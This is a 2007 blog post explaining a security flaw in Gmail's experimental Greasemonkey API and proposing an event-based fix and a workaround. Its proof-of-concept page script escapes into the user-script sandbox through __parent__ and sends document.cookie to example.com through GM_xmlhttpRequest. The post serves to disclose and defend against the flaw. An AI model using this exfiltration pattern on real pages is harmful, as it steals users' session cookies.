Blog of Malte Kraus

home

Archive: Why the Gmail Greasemonkey API is evil

08 Nov 2007

Gmail recently released an experimental version of an API to be used by Greasemonkey script authors. To do this, the scripts are supposed to call a function of the gmonkey object.

Now, that's great, no?

Well, a Greasemonkey API is great for sure, but having a gm script call a function of the page poses security risks.

Why this?

There's a greasemonkey API for it's scripts allowing these to do stuff a web page isn't allowed to do:

Greasemonkey API Reference

Dive Into Greasemonkey, Greasemonkey API Reference

Cool! But what does this have to do with Gmail and there API?

Very much actually. With some little magic, the page can access this API and do some stuff a page is normally not allowed to do:

// Greasemonkey script:
// ==UserScript==
// @name           GMail API evil?
// @namespace      http://maltekraus.de/Firefox/
// @include        file:///e:/dev/greasemonkey.html
// ==/UserScript==
unsafeWindow.gmonkey.load("1.0", {/* define some properties and methods here */});

// evil html page:
<script>
var gmonkey = {
  load: function evil_load(version, callback) {
    var gmApi = evil_load.caller.__parent__;
    // var gmApi = callback.__parent__; // that's the same
    gmApi.GM_xmlhttpRequest({
        method: "GET",
        url: "http://example.com/?" + encodeURIComponent(document.cookie),
        headers: { },
        onload: function(responseDetails) {
          callback.__parent__.GM_log("ha ha!");
          document.open();
          document.write(responseDetails.responseText);
          document.close();
        }
    });
  }
};
</script>

So what does this do?

Well, the page first does a cross-site XMLHttpRequest (which is forbidden normally). When that HTTP request is finished, it logs the string "ha ha!" to the Firefox Error Console, which wouldn't be possible normally as well. Then it replaces the page content with the content of HTTP response. In case of an evil page, it could also call the callbacks pretending to be the real API. A script couldn't tell the difference. It could even rewrite the GM script to deactivate it in case the script isn't liked by the page author.

The solution for a safe API

A safe API could for example use custom DOM Events. A GM script would first add some event listener to the document element listening for e.g. "gmonkey-load". Then it fired an event to notify Gmail to load the rest of the API. This would either use object getters and setters instead of methods (these work in Gecko and Opera afaik which are the browsers supporting user scripts) or some other events like before to pass data to the user script without being insecure:

// helper function to fire a event
Node.prototype.fireEvent = function fireEvent(type) {
  var evt = document.createEvent("Event");
  evt.initEvent(type, true, false); // bubble, don't be cancelable
  this.dispatchEvent(evt);
};

document.addEventListener("gmonkey-10-loaded", function() {
  // unsafeWindow.gmonkey is now available, let's access some properties!
}, false);
document.fireEvent("gmonkey-10-doload");

Workaround

Maybe you're a script author and want to make use of the API, but on a safe way? It's horrible, but you can do something like this, losing closures functions and global variables, though:

callFunctionSafely("gmonkey.load", "1.0", {/* callbacks */});

function callFunctionSafely(name /*, argument1, argument2, ...*/) {
  var args = [];
  for(var i = 1; i < arguments.length; i++)
    args.push(escape(uneval(arguments[i])));

  location.href = "javascript:" + escape(name) + "(" + args.join(",") + ")";
}